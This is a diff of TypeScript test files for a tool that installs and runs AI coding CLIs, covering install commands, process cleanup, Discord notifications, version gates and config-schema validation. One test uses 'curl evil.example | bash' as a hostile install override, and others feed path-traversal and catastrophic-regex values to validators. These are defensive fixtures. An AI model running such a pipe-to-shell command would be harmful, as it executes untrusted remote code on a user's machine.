// The override is in force for the registry (what the Settings list shows and the route runs)...
|
||||
expect(resolveInstallCommandForPlatform(getCli('opencode')!)).toBe('curl evil.example | bash');
|
||||
// ...and is not what the local model install job would run.
|
||||
expect(stockInstallCommand('opencode')).toBe('curl -fsSL https://opencode.ai/install | bash');
|
||||
});
|
||||
});
|
||||
|
||||
describe('tryBeginCliInstall', () => {
|
||||
it('gives one slot per CLI id, and the slot comes back when it is released', () => {
|
||||
const release = tryBeginCliInstall('slot-a');
|
||||
expect(release).toBeTypeOf('function');
|
||||
expect(tryBeginCliInstall('slot-a')).toBeNull();
|
||||
// Another CLI has its own slot.
|
||||
const other = tryBeginCliInstall('slot-b');
|
||||
expect(other).toBeTypeOf('function');
|
||||
release!();
|
||||
const again = tryBeginCliInstall('slot-a');
|
||||
expect(again).toBeTypeOf('function');
|
||||
again!();
|
||||
other!();
|
||||
});
|
||||
|
||||
it('a release called twice frees the slot once: a later holder is not thrown out', () => {
|
||||
const first = tryBeginCliInstall('slot-c')!;
|
||||
first();
|
||||
const second = tryBeginCliInstall('slot-c')!;
|
||||
first();
|
||||
expect(tryBeginCliInstall('slot-c')).toBeNull();
|
||||
second();
|
||||
});
|
||||
|
||||
it('is the slot the registry route uses: while it is held, POST /api/clis/:id/install answers 409 and spawns nothing', async () => {
|
||||
mkdirSync(dirname(SETTINGS_PATH), { recursive: true });
|
||||
writeFileSync(SETTINGS_PATH, JSON.stringify({ cliManagementEnabled: true }));
|
||||
const { app } = await createRouteTestHarness(registerCliRegistryRoutes);
|
||||
const release = tryBeginCliInstall('grok')!;
|
||||
try {
|
||||
const res = await app.inject({ method: 'POST', url: '/api/clis/grok/install' });
|
||||
expect(res.json()).toMatchObject({ success: false, errorCode: 'CONFLICT' });
|
||||
expect(spawnMock).not.toHaveBeenCalled();
|
||||
} finally {
|
||||
release();
|
||||
}
|
||||
// Released: the route installs again.
|
||||
spawnMock.mockImplementation(() => {
|
||||
const child = hangingChild();
|
||||
setImmediate(() => child.emit('close', 0));
|
||||
return child;
|
||||
});
|
||||
const res = await app.inject({ method: 'POST', url: '/api/clis/grok/install' });
|
||||
expect(res.json()).toMatchObject({ success: true, data: { id: 'grok', code: 0 } });
|
||||
// And the route gave the slot back when its install ended.
|
||||
const after = tryBeginCliInstall('grok');
|
||||
expect(after).toBeTypeOf('function');
|
||||
after!();
|
||||
});
|
||||
});
|
||||
|
||||
describe('runInstallCommand', () => {
|
||||
it('runs the command in a shell of its own process group and reports how it ended', async () => {
|
||||
spawnMock.mockImplementation(() => {
|
||||
const child = hangingChild();
|
||||
setImmediate(() => {
|
||||
child.stdout.emit('data', Buffer.from('installed\n'));
|
||||
child.emit('close', 0);
|
||||
});
|
||||
return child;
|
||||
});
|
||||
const result = await runInstallCommand('echo hello');
|
||||
expect(result).toEqual({ code: 0, output: 'installed\n', timedOut: false, aborted: false });
|
||||
expect(spawnMock).toHaveBeenCalledTimes(1);
|
||||
expect(spawnMock.mock.calls[0][0]).toBe('echo hello');
|
||||
expect(spawnMock.mock.calls[0][1]).toMatchObject({ shell: true, detached: true });
|
||||
});
|
||||
|
||||
it('a spawn that throws is a result, not an exception', async () => {
|
||||
spawnMock.mockImplementation(() => {
|
||||
throw new Error('ENOENT sh');
|
||||
});
|
||||
expect(await runInstallCommand('echo hello')).toEqual({
|
||||
code: null,
|
||||
output: 'spawn failed: ENOENT sh',
|
||||
timedOut: false,
|
||||
aborted: false,
|
||||
});
|
||||
});
|
||||
|
||||
it('a signal that is already aborted starts nothing', async () => {
|
||||
const controller = new AbortController();
|
||||
controller.abort();
|
||||
expect(await runInstallCommand('echo hello', { signal: controller.signal })).toEqual({
|
||||
code: null,
|
||||
output: '',
|
||||
timedOut: false,
|
||||
aborted: true,
|
||||
});
|
||||
expect(spawnMock).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('an abort kills the whole process group: SIGTERM at once, SIGKILL three seconds later', async () => {
|
||||
vi.useFakeTimers();
|
||||
const kill = vi.spyOn(process, 'kill').mockImplementation(() => true);
|
||||
const child = hangingChild(777_777);
|
||||
spawnMock.mockImplementation(() => child);
|
||||
const controller = new AbortController();
|
||||
const pending = runInstallCommand('echo hello', { signal: controller.signal });
|
||||
await vi.waitFor(() => expect(spawnMock).toHaveBeenCalledTimes(1));
|
||||
|
||||
controller.abort();
|
||||
// The negative pid is the group: the installer's own children go with it.
|
||||
expect(kill).toHaveBeenCalledWith(-777_777, 'SIGTERM');
|
||||
expect(kill).not.toHaveBeenCalledWith(-777_777, 'SIGKILL');
|
||||
await vi.advanceTimersByTimeAsync(3_000);
|
||||
expect(kill).toHaveBeenCalledWith(-777_777, 'SIGKILL');
|
||||
|
||||
child.emit('close', null);
|
||||
expect(await pending).toEqual({ code: null, output: '', timedOut: false, aborted: true });
|
||||
});
|
||||
|
||||
it('an aborted installer that never closes is given up on after eight seconds', async () => {
|
||||
vi.useFakeTimers();
|
||||
vi.spyOn(process, 'kill').mockImplementation(() => true);
|
||||
spawnMock.mockImplementation(() => hangingChild());
|
||||
const controller = new AbortController();
|
||||
const pending = runInstallCommand('echo hello', { signal: controller.signal });
|
||||
await vi.waitFor(() => expect(spawnMock).toHaveBeenCalledTimes(1));
|
||||
controller.abort();
|
||||
await vi.advanceTimersByTimeAsync(8_000);
|
||||
expect(await pending).toMatchObject({ code: null, aborted: true, timedOut: false });
|
||||
});
|
||||
|
||||
it('the timeout still kills the group and says so, as it did in the route', async () => {
|
||||
vi.useFakeTimers();
|
||||
const kill = vi.spyOn(process, 'kill').mockImplementation(() => true);
|
||||
const child = hangingChild(888_888);
|
||||
spawnMock.mockImplementation(() => child);
|
||||
const pending = runInstallCommand('echo hello');
|
||||
await vi.waitFor(() => expect(spawnMock).toHaveBeenCalledTimes(1));
|
||||
await vi.advanceTimersByTimeAsync(CLI_INSTALL_TIMEOUT_MS);
|
||||
expect(kill).toHaveBeenCalledWith(-888_888, 'SIGTERM');
|
||||
child.emit('close', null);
|
||||
expect(await pending).toEqual({ code: null, output: '', timedOut: true, aborted: false });
|
||||
});
|
||||
|
||||
it('an abort after the installer ended does nothing', async () => {
|
||||
const kill = vi.spyOn(process, 'kill').mockImplementation(() => true);
|
||||
spawnMock.mockImplementation(() => {
|
||||
const child = hangingChild();
|
||||
setImmediate(() => child.emit('close', 0));
|
||||
return child;
|
||||
});
|
||||
const controller = new AbortController();
|
||||
const result = await runInstallCommand('echo hello', { signal: controller.signal });
|
||||
controller.abort();
|
||||
expect(result.aborted).toBe(false);
|
||||
expect(kill).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe('forgetResolvedCli', () => {
|
||||
it('drops the per-binary caches and the per-id resolver', () => {
|
||||
forgetResolvedCli('opencode', ['opencode', 'opencode-bin']);
|
||||
expect(invalidateBinariesSpy).toHaveBeenCalledWith(['opencode', 'opencode-bin']);
|
||||
expect(invalidateIdSpy).toHaveBeenCalledWith('opencode');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,141 @@
|
||||
// @vitest-environment node
|
||||
/**
|
||||
* @fileoverview `codeman notify`: what it sends, what it prints and the exit code, driven with a
|
||||
* recording fake transport plus the real `postJson` against a local server. Port: ephemeral 127.0.0.1.
|
||||
*/
|
||||
import { createServer, type Server } from 'node:http';
|
||||
import type { AddressInfo } from 'node:net';
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest';
|
||||
import { postJson, runNotify, type JsonPost } from '../src/cli-notify.js';
|
||||
|
||||
const ENV = { CODEMAN_SESSION_ID: 'abc12345-full-id', CODEMAN_API_URL: 'http://127.0.0.1:3000' };
|
||||
|
||||
function fake(status: number, error?: string, delivery?: { ok: boolean; error?: string }) {
|
||||
const post = vi.fn<JsonPost>(async () => ({ status, error, delivery }));
|
||||
return post;
|
||||
}
|
||||
|
||||
describe('runNotify', () => {
|
||||
it('refuses outside a Codeman session, before any request', async () => {
|
||||
const post = fake(200);
|
||||
const r = await runNotify({ message: 'hi' }, {}, '/work', post);
|
||||
expect(r.code).toBe(1);
|
||||
expect(r.err).toMatch(/inside a Codeman session/);
|
||||
expect(post).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('posts the message to this session with the session id URL-encoded', async () => {
|
||||
const post = fake(200);
|
||||
const r = await runNotify({ message: 'press the reset button' }, ENV, '/work', post);
|
||||
expect(r).toEqual({ code: 0, out: 'Posted to Discord' });
|
||||
expect(post).toHaveBeenCalledWith('http://127.0.0.1:3000', '/api/sessions/abc12345-full-id/discord-notify', {
|
||||
message: 'press the reset button',
|
||||
});
|
||||
});
|
||||
|
||||
it('adds urgent, and turns a relative --file into an absolute path under the working folder', async () => {
|
||||
const post = fake(200);
|
||||
await runNotify({ message: 'log', urgent: true, file: 'out/run.log' }, ENV, '/work', post);
|
||||
expect(post.mock.calls[0][2]).toEqual({ message: 'log', urgent: true, file: '/work/out/run.log' });
|
||||
await runNotify({ message: 'log', file: '/abs/run.log' }, ENV, '/work', post);
|
||||
expect(post.mock.calls[1][2]).toEqual({ message: 'log', file: '/abs/run.log' });
|
||||
});
|
||||
|
||||
it('lets --session and --url override the environment', async () => {
|
||||
const post = fake(200);
|
||||
await runNotify({ message: 'x', session: 'other', url: 'http://h:1' }, ENV, '/work', post);
|
||||
expect(post.mock.calls[0].slice(0, 2)).toEqual(['http://h:1', '/api/sessions/other/discord-notify']);
|
||||
});
|
||||
|
||||
it('exits 1 when Codeman answered 200 but Discord refused the post, so a blocked agent knows nobody was told', async () => {
|
||||
const r = await runNotify(
|
||||
{ message: 'x' },
|
||||
ENV,
|
||||
'/w',
|
||||
fake(200, undefined, { ok: false, error: 'The bot token was refused' })
|
||||
);
|
||||
expect(r).toEqual({ code: 1, err: 'Could not post to Discord: The bot token was refused' });
|
||||
expect((await runNotify({ message: 'x' }, ENV, '/w', fake(200, undefined, { ok: true }))).code).toBe(0);
|
||||
});
|
||||
|
||||
it('postJson gives up on a server that never answers, with status 0', async () => {
|
||||
const server = createServer(() => undefined);
|
||||
await new Promise<void>((r) => server.listen(0, '127.0.0.1', r));
|
||||
try {
|
||||
const { port } = server.address() as AddressInfo;
|
||||
const r = await postJson(`http://127.0.0.1:${port}`, '/x', {}, 100);
|
||||
expect(r.status).toBe(0);
|
||||
} finally {
|
||||
server.closeAllConnections();
|
||||
server.close();
|
||||
}
|
||||
});
|
||||
|
||||
it('postJson settles when the server sends headers and then stalls the body', async () => {
|
||||
const server = createServer((_req, res) => {
|
||||
res.writeHead(200, { 'Content-Type': 'application/json', 'Content-Length': '500' });
|
||||
res.write('{"success":');
|
||||
});
|
||||
await new Promise<void>((r) => server.listen(0, '127.0.0.1', r));
|
||||
try {
|
||||
const { port } = server.address() as AddressInfo;
|
||||
expect((await postJson(`http://127.0.0.1:${port}`, '/x', {}, 100)).status).toBe(0);
|
||||
} finally {
|
||||
server.closeAllConnections();
|
||||
server.close();
|
||||
}
|
||||
});
|
||||
|
||||
it('treats a disabled bridge (409) as success that says so', async () => {
|
||||
const r = await runNotify({ message: 'x' }, ENV, '/work', fake(409));
|
||||
expect(r.code).toBe(0);
|
||||
expect(r.out).toMatch(/bridge is off/);
|
||||
});
|
||||
|
||||
it('fails with the server error, or the status, or a plain message when nothing answered', async () => {
|
||||
expect(
|
||||
(await runNotify({ message: 'x' }, ENV, '/w', fake(400, 'The file must be inside the session folder'))).err
|
||||
).toBe('Could not post to Discord: The file must be inside the session folder');
|
||||
expect((await runNotify({ message: 'x' }, ENV, '/w', fake(429))).err).toMatch(/Too many messages/);
|
||||
expect((await runNotify({ message: 'x' }, ENV, '/w', fake(500))).err).toBe('Could not post to Discord (HTTP 500)');
|
||||
expect((await runNotify({ message: 'x' }, ENV, '/w', fake(0))).err).toBe('Could not post to Discord');
|
||||
});
|
||||
});
|
||||
|
||||
describe('postJson (real transport)', () => {
|
||||
let server: Server;
|
||||
afterEach(() => new Promise<void>((resolve) => server.close(() => resolve())));
|
||||
|
||||
async function serve(status: number, reply: unknown) {
|
||||
const seen: { method?: string; url?: string; body: string; type?: string } = { body: '' };
|
||||
server = createServer((req, res) => {
|
||||
req.on('data', (c) => (seen.body += c));
|
||||
req.on('end', () => {
|
||||
seen.method = req.method;
|
||||
seen.url = req.url;
|
||||
seen.type = req.headers['content-type'];
|
||||
res.writeHead(status, { 'Content-Type': 'application/json' });
|
||||
res.end(JSON.stringify(reply));
|
||||
});
|
||||
});
|
||||
await new Promise<void>((resolve) => server.listen(0, '127.0.0.1', resolve));
|
||||
return { seen, url: `http://127.0.0.1:${(server.address() as AddressInfo).port}` };
|
||||
}
|
||||
|
||||
it('sends a JSON POST and reports the status and the server error text', async () => {
|
||||
const { seen, url } = await serve(400, { success: false, error: 'nope' });
|
||||
expect(await postJson(url, '/api/sessions/s1/discord-notify', { message: 'hi' })).toEqual({
|
||||
status: 400,
|
||||
error: 'nope',
|
||||
});
|
||||
expect(seen).toMatchObject({ method: 'POST', url: '/api/sessions/s1/discord-notify', type: 'application/json' });
|
||||
expect(JSON.parse(seen.body)).toEqual({ message: 'hi' });
|
||||
});
|
||||
|
||||
it('answers status 0 when nothing is listening', async () => {
|
||||
const { url } = await serve(200, {});
|
||||
await new Promise<void>((resolve) => server.close(() => resolve()));
|
||||
expect((await postJson(url, '/x', {})).status).toBe(0);
|
||||
server = createServer().listen(0); // so afterEach has something to close
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,60 @@
|
||||
/**
|
||||
* @fileoverview A launch gate is measured against its OWN CLI's version.
|
||||
*
|
||||
* `capabilities.gates` used to be resolved with `getClaudeCliVersion()` for every entry,
|
||||
* because claude was the only CLI with a gate. Codex's `noDaemonFlag` (0.162.0) would then
|
||||
* have passed on any claude 2.x and handed an older codex `--no-daemon`, which makes codex
|
||||
* exit on launch. The bridge now asks `resolveSessionCliVersion(entry.id)`; this pins that
|
||||
* with both resolvers mocked to DIFFERENT versions.
|
||||
*/
|
||||
import { describe, it, expect, vi, beforeEach } from 'vitest';
|
||||
|
||||
const versions: Record<string, string | null> = {};
|
||||
|
||||
vi.mock('../src/utils/cli-resolver.js', async (importOriginal) => {
|
||||
const actual = await importOriginal<typeof import('../src/utils/cli-resolver.js')>();
|
||||
return { ...actual, resolveSessionCliVersion: vi.fn((mode: string) => versions[mode] ?? null) };
|
||||
});
|
||||
vi.mock('../src/utils/claude-cli-resolver.js', async (importOriginal) => {
|
||||
const actual = await importOriginal<typeof import('../src/utils/claude-cli-resolver.js')>();
|
||||
return { ...actual, getClaudeCliVersion: vi.fn(() => '2.1.316') };
|
||||
});
|
||||
|
||||
const { getCli } = await import('../src/config/cli-registry/registry.js');
|
||||
const { buildSpawnCommandFromRegistry, launchGatePasses } = await import('../src/session-cli-registry-bridge.js');
|
||||
|
||||
const SID = '00000000-0000-4000-8000-000000000000';
|
||||
|
||||
function codexCommand(): string | undefined {
|
||||
return buildSpawnCommandFromRegistry(getCli('codex')!, { mode: 'codex', sessionId: SID });
|
||||
}
|
||||
|
||||
describe('launch gates read the gated CLI version', () => {
|
||||
beforeEach(() => {
|
||||
for (const key of Object.keys(versions)) delete versions[key];
|
||||
});
|
||||
|
||||
it("does not pass codex's gate on claude's version", () => {
|
||||
versions.claude = '2.1.316';
|
||||
versions.codex = '0.161.0';
|
||||
expect(codexCommand()).toBe('codex');
|
||||
expect(launchGatePasses('codex', 'noDaemonFlag')).toBe(false);
|
||||
});
|
||||
|
||||
it("passes codex's gate on codex's own version", () => {
|
||||
versions.codex = '0.162.0';
|
||||
expect(codexCommand()).toBe('codex --no-daemon');
|
||||
expect(launchGatePasses('codex', 'noDaemonFlag')).toBe(true);
|
||||
});
|
||||
|
||||
it('fails closed when the codex version is unknown', () => {
|
||||
versions.claude = '2.1.316';
|
||||
expect(codexCommand()).toBe('codex');
|
||||
});
|
||||
|
||||
it("still measures claude's gates on claude's version", () => {
|
||||
versions.claude = '2.1.316';
|
||||
versions.codex = '0.1.0';
|
||||
expect(launchGatePasses('claude', 'nameFlag')).toBe(true);
|
||||
});
|
||||
});
|
||||
@@ -95,15 +95,19 @@ const ALLOWED_BRANCHES: Record<string, Allowance> = {
|
||||
"web/routes/session-routes.ts::mode === 'antigravity'": allow(2, 'legacy <Mode>Config plumbing'),
|
||||
"web/routes/session-routes.ts::mode === 'pi'": allow(2, 'legacy <Mode>Config plumbing'),
|
||||
"web/routes/session-routes.ts::mode === 'grok'": allow(2, 'legacy <Mode>Config plumbing'),
|
||||
"web/routes/session-routes.ts::mode === 'copilot'": allow(2, 'legacy <Mode>Config plumbing'),
|
||||
"web/routes/session-routes.ts::mode === 'deepseek'": allow(2, 'legacy <Mode>Config plumbing'),
|
||||
"web/routes/session-routes.ts::mode === 'jcode'": allow(2, 'legacy <Mode>Config plumbing'),
|
||||
"web/server.ts::mode === 'opencode'": allow(1, 'legacy <Mode>Config plumbing (session recovery)'),
|
||||
"web/server.ts::mode === 'codex'": allow(1, 'legacy <Mode>Config plumbing (session recovery)'),
|
||||
"web/server.ts::mode === 'gemini'": allow(1, 'legacy <Mode>Config plumbing (session recovery)'),
|
||||
"web/server.ts::mode === 'antigravity'": allow(1, 'legacy <Mode>Config plumbing (session recovery)'),
|
||||
"web/server.ts::mode === 'pi'": allow(1, 'legacy <Mode>Config plumbing (session recovery)'),
|
||||
"web/server.ts::mode === 'grok'": allow(1, 'legacy <Mode>Config plumbing (session recovery)'),
|
||||
"web/server.ts::mode === 'copilot'": allow(1, 'legacy <Mode>Config plumbing (session recovery)'),
|
||||
"web/server.ts::mode === 'deepseek'": allow(1, 'legacy <Mode>Config plumbing (session recovery)'),
|
||||
"web/server.ts::mode === 'omp'": allow(1, 'legacy <Mode>Config plumbing (session recovery)'),
|
||||
"web/server.ts::mode === 'jcode'": allow(1, 'legacy <Mode>Config plumbing (session recovery)'),
|
||||
|
||||
// --- Claude's remote/docker command construction ---
|
||||
"tmux-manager.ts::mode === 'claude'": allow(
|
||||
@@ -165,7 +169,6 @@ const ALLOWED_BRANCHES: Record<string, Allowance> = {
|
||||
),
|
||||
"tui/tui-render.ts::mode !== 'claude'": allow(1, 'cosmetic: suppress the mode badge for the default mode'),
|
||||
|
||||
|
||||
// Legacy <Mode>Config plumbing, same category as the `===` entries above.
|
||||
"web/routes/session-routes.ts::mode !== 'omp'": allow(
|
||||
2,
|
||||
@@ -173,7 +176,7 @@ const ALLOWED_BRANCHES: Record<string, Allowance> = {
|
||||
'chain (see the opencode entry below)'
|
||||
),
|
||||
|
||||
// ⚠️ Scaffolded-case hooks. This chain excludes seven CLIs but NOT `deepseek`, while its
|
||||
// ⚠️ Scaffolded-case hooks. This chain excludes eight CLIs but NOT `deepseek`, while its
|
||||
// own comment says DeepSeek uses its own system — so a scaffolded deepseek case gets a
|
||||
// Claude hooks block written into it. That inconsistency is UPSTREAM's and predates this
|
||||
// change; expressing the chain as a capability would have to pick a side and would
|
||||
@@ -188,6 +191,7 @@ const ALLOWED_BRANCHES: Record<string, Allowance> = {
|
||||
"web/routes/session-routes.ts::mode !== 'antigravity'": allow(1, 'scaffolded-case hooks (see the opencode entry)'),
|
||||
"web/routes/session-routes.ts::mode !== 'pi'": allow(1, 'scaffolded-case hooks (see the opencode entry)'),
|
||||
"web/routes/session-routes.ts::mode !== 'grok'": allow(1, 'scaffolded-case hooks (see the opencode entry)'),
|
||||
"web/routes/session-routes.ts::mode !== 'jcode'": allow(1, 'scaffolded-case hooks (see the opencode entry)'),
|
||||
};
|
||||
|
||||
/** Every stock CLI id, derived rather than restated so a new entry is covered automatically. */
|
||||
@@ -210,8 +214,10 @@ const ID_ALT = IDS.join('|');
|
||||
*/
|
||||
const BRANCH_PATTERN = new RegExp(
|
||||
[
|
||||
// mode === 'codex' / mode !== 'codex'
|
||||
`\\b(?:mode|id|agentType)\\s*[!=]==\\s*'(?:${ID_ALT})'`,
|
||||
// mode === 'codex' / mode !== 'codex'. `cli` is the name the local model catalogue gives
|
||||
// the same thing (`LocalHarnessEntry.cli`, `Candidate.cli`), so `harness.cli === 'claude'`
|
||||
// is the same banned branch under another field name.
|
||||
`\\b(?:mode|id|agentType|cli)\\s*[!=]==\\s*'(?:${ID_ALT})'`,
|
||||
// case 'codex':
|
||||
`\\bcase\\s+'(?:${ID_ALT})'\\s*:`,
|
||||
// ['codex', 'gemini'].includes(mode) — the id list IS the branch, wherever `mode` sits
|
||||
@@ -265,7 +271,7 @@ function scan(): { findings: Finding[]; filesScanned: number } {
|
||||
lines.forEach((line, i) => {
|
||||
BRANCH_PATTERN.lastIndex = 0; // shared /g regex — see utils/regex-patterns.ts
|
||||
for (const match of line.matchAll(BRANCH_PATTERN)) {
|
||||
const expression = match[0].replace(/\s+/g, ' ').replace(/^(?:id|agentType)/, 'mode');
|
||||
const expression = match[0].replace(/\s+/g, ' ').replace(/^(?:id|agentType|cli)/, 'mode');
|
||||
const posix = rel.split(sep).join('/');
|
||||
findings.push({ file: posix, expression, line: i + 1, key: `${posix}::${expression}` });
|
||||
}
|
||||
@@ -335,6 +341,8 @@ describe('no CLI-id branching outside the stock catalog', () => {
|
||||
"if (mode !== 'shell' && mode !== 'deepseek') { doSomething(); }",
|
||||
"switch (mode) { case 'gemini': return 1; }",
|
||||
"if (['codex', 'gemini'].includes(mode)) { doSomething(); }",
|
||||
"if (harness.cli === 'claude') { doSomething(); }",
|
||||
"const others = candidates.filter((c) => c.cli !== 'opencode');",
|
||||
];
|
||||
for (const sample of samples) {
|
||||
BRANCH_PATTERN.lastIndex = 0;
|
||||
|
||||
@@ -55,6 +55,65 @@ describe('customModelInjection.launchModel', () => {
|
||||
});
|
||||
});
|
||||
|
||||
/** Mutates the shipped deepseek configDir recipe (the one real-home-linking entry) and expects rejection. */
|
||||
function expectRejectedOnDeepSeek(mutate: (recipe: Record<string, unknown>) => void, because: string): void {
|
||||
const entry = baseEntry('deepseek');
|
||||
const recipe = (entry.capabilities as Record<string, unknown>).customModelInjection as Record<string, unknown>;
|
||||
mutate(recipe);
|
||||
const result = CliEntrySchema.safeParse(entry);
|
||||
expect(result.success, `expected rejection: ${because}`).toBe(false);
|
||||
}
|
||||
|
||||
describe('configDir real-home linking (linkFromRealHome / realHomeFallback)', () => {
|
||||
it('rejects a realHomeFallback that is not a single relative path segment', () => {
|
||||
// The consumer joins it under the user's home, so any of these escapes that home:
|
||||
// and bare `.` IS that home: linking through it would expose the whole tree
|
||||
// unshielded instead of just the declared segments.
|
||||
for (const bad of ['../x', '.dsh/evil', '/.dsh', '..', '.']) {
|
||||
expectRejectedOnDeepSeek((r) => {
|
||||
r.realHomeFallback = bad;
|
||||
}, `realHomeFallback ${JSON.stringify(bad)}`);
|
||||
}
|
||||
});
|
||||
|
||||
it('accepts a shipped-style dot-prefixed segment', () => {
|
||||
const entry = baseEntry('deepseek');
|
||||
expect(CliEntrySchema.safeParse(entry).success).toBe(true); // ships as `.dsh`
|
||||
const recipe = (entry.capabilities as Record<string, unknown>).customModelInjection as Record<string, unknown>;
|
||||
recipe.realHomeFallback = '.dsh-relocated';
|
||||
expect(CliEntrySchema.safeParse(entry).success).toBe(true);
|
||||
});
|
||||
|
||||
it('requires realHomeFallback whenever linkFromRealHome is declared', () => {
|
||||
expectRejectedOnDeepSeek((r) => {
|
||||
delete r.realHomeFallback;
|
||||
}, 'without it the consumer would have to hardcode a per-CLI home default');
|
||||
});
|
||||
|
||||
it('rejects a linked entry that collides with fileName', () => {
|
||||
// A symlink at the generated file's own name would write THROUGH into the user's real config.
|
||||
expectRejectedOnDeepSeek((r) => {
|
||||
r.linkFromRealHome = ['cordis.patch.yml', 'profiles'];
|
||||
}, 'linkFromRealHome containing fileName');
|
||||
});
|
||||
|
||||
it('requires linkFromRealHomeDirs to be a subset of linkFromRealHome', () => {
|
||||
// types.ts documents the rule; a name absent from the linked list names nothing,
|
||||
// so the create-missing-directory behaviour would silently never apply to it.
|
||||
expectRejectedOnDeepSeek((r) => {
|
||||
r.linkFromRealHome = ['profiles', 'settings.yaml'];
|
||||
r.linkFromRealHomeDirs = ['profiles', 'sessions'];
|
||||
}, 'linkFromRealHomeDirs naming an unlinked entry');
|
||||
// The shipped recipe is a valid subset (deepseek: profiles and sessions are dirs
|
||||
// of the three linked entries) and keeps loading.
|
||||
const entry = baseEntry('deepseek');
|
||||
const recipe = (entry.capabilities as Record<string, unknown>).customModelInjection as Record<string, unknown>;
|
||||
expect(recipe.linkFromRealHome).toEqual(['profiles', 'sessions', 'settings.yaml']);
|
||||
expect(recipe.linkFromRealHomeDirs).toEqual(['profiles', 'sessions']);
|
||||
expect(CliEntrySchema.safeParse(entry).success).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('the shipped catalog', () => {
|
||||
it('validates every stock entry exactly as shipped', () => {
|
||||
// If this fails, the catalog cannot load at all — every other test here is downstream.
|
||||
@@ -184,6 +243,69 @@ describe('workDetect.workingLine is guarded like every other config regex', () =
|
||||
}
|
||||
});
|
||||
|
||||
it('holds the optional composerFooterLine to the same guard', () => {
|
||||
// Run over the rows under the composer each time guarded input reads the pane.
|
||||
for (const composerFooterLine of ['(a+)+b', 'a'.repeat(201), '([unclosed', '']) {
|
||||
expectRejected((e) => {
|
||||
(e.capabilities as Record<string, unknown>).workDetect = {
|
||||
promptGlyph: '>',
|
||||
workingLine: 'working',
|
||||
composerFooterLine,
|
||||
};
|
||||
}, 'guarded input tests it against pane rows a clis.json override can supply');
|
||||
}
|
||||
});
|
||||
|
||||
it('accepts every shipped composerFooterLine', () => {
|
||||
for (const entry of STOCK_CLIS) {
|
||||
const src = entry.capabilities.workDetect?.composerFooterLine;
|
||||
if (!src) continue;
|
||||
expect(compileVersionRegex(src), `${entry.id} declares a composerFooterLine the guard refuses`).not.toBeNull();
|
||||
}
|
||||
});
|
||||
|
||||
it('holds the optional composerPopupLine to the same guard, and accepts the shipped one', () => {
|
||||
// Run over the rows just above the composer each time guarded input reads the pane.
|
||||
for (const composerPopupLine of ['(a+)+b', 'a'.repeat(201), '([unclosed', '']) {
|
||||
expectRejected((e) => {
|
||||
(e.capabilities as Record<string, unknown>).workDetect = {
|
||||
promptGlyph: '>',
|
||||
workingLine: 'working',
|
||||
composerPopupLine,
|
||||
};
|
||||
}, 'guarded input tests it against pane rows a clis.json override can supply');
|
||||
}
|
||||
for (const entry of STOCK_CLIS) {
|
||||
const src = entry.capabilities.workDetect?.composerPopupLine;
|
||||
if (src)
|
||||
expect(compileVersionRegex(src), `${entry.id} declares a composerPopupLine the guard refuses`).not.toBeNull();
|
||||
}
|
||||
});
|
||||
|
||||
it('takes only short runs of ASCII punctuation as composer trigger characters', () => {
|
||||
for (const field of ['composerCommandPrefixes', 'composerCompletionSigils']) {
|
||||
for (const value of ['', 'a', '/a', '/ ', '/\t', '\u00a7', '!!!!!!!!!']) {
|
||||
expectRejected(
|
||||
(e) => {
|
||||
(e.capabilities as Record<string, unknown>).workDetect = {
|
||||
promptGlyph: '>',
|
||||
workingLine: 'working',
|
||||
[field]: value,
|
||||
};
|
||||
},
|
||||
`${field} ${JSON.stringify(value)} would refuse letters, spaces or an unbounded set`
|
||||
);
|
||||
}
|
||||
const entry = baseEntry();
|
||||
(entry.capabilities as Record<string, unknown>).workDetect = {
|
||||
promptGlyph: '>',
|
||||
workingLine: 'working',
|
||||
[field]: '/!@$',
|
||||
};
|
||||
expect(CliEntrySchema.safeParse(entry).success, field).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it('holds the optional blockedLine to the same guard', () => {
|
||||
// Run over the foot of a capture at every settle and on a timer while a dialog is
|
||||
// up, and a clis.json override can set it.
|
||||
@@ -328,7 +450,7 @@ describe('cross-field integrity', () => {
|
||||
// shipped entry must be on the param side of that line.
|
||||
const codex = STOCK_CLIS.find((e) => (e.id as string) === 'codex');
|
||||
expect(codex).toBeDefined();
|
||||
expect(codex!.capabilities.privilegedParams.map((c) => c.param)).toEqual(['bypassApprovals']);
|
||||
expect(codex!.capabilities.privilegedParams.map((c) => c.param)).toEqual(['bypassApprovals', 'networkAccess']);
|
||||
expect(codex!.launch.legacyConfigAliases?.bypassApprovals).toBe('dangerouslyBypassApprovals');
|
||||
|
||||
const wrong = baseEntry('codex');
|
||||
@@ -485,10 +607,58 @@ describe('capability shapes', () => {
|
||||
}, 'transcriptPageKeys is a boolean');
|
||||
});
|
||||
|
||||
it("takes keyboardHold as an optional 'inline', absent meaning the keyboard resizes", () => {
|
||||
const inline = baseEntry();
|
||||
(inline.capabilities as Record<string, unknown>).keyboardHold = 'inline';
|
||||
expect(CliEntrySchema.safeParse(inline).success).toBe(true);
|
||||
const absent = baseEntry();
|
||||
delete (absent.capabilities as Record<string, unknown>).keyboardHold;
|
||||
expect(CliEntrySchema.safeParse(absent).success).toBe(true);
|
||||
for (const value of [true, 'fullscreen', '']) {
|
||||
expectRejected(
|
||||
(e) => {
|
||||
(e.capabilities as Record<string, unknown>).keyboardHold = value;
|
||||
},
|
||||
`keyboardHold=${JSON.stringify(value)} names no renderer kind`
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
it('declares keyboardHold for exactly the inline renderer measured losing lines on a height change', () => {
|
||||
// Claude Code 2.1.306's inline renderer was measured dropping transcript lines from
|
||||
// tmux on keyboard-driven height changes; every other stock entry resizes.
|
||||
const holding = STOCK_CLIS.filter((e) => e.capabilities.keyboardHold === 'inline').map((e) => e.id as string);
|
||||
expect(holding).toEqual(['claude']);
|
||||
});
|
||||
|
||||
it('declares which CLIs get the wheel forwarded, and whether a version gates it', () => {
|
||||
// Claude forwards from 2.1.187 (fullscreen only); tracked Codex and Copilot
|
||||
// forward without a version gate, and so does pi. Unmeasured entries stay 'never'.
|
||||
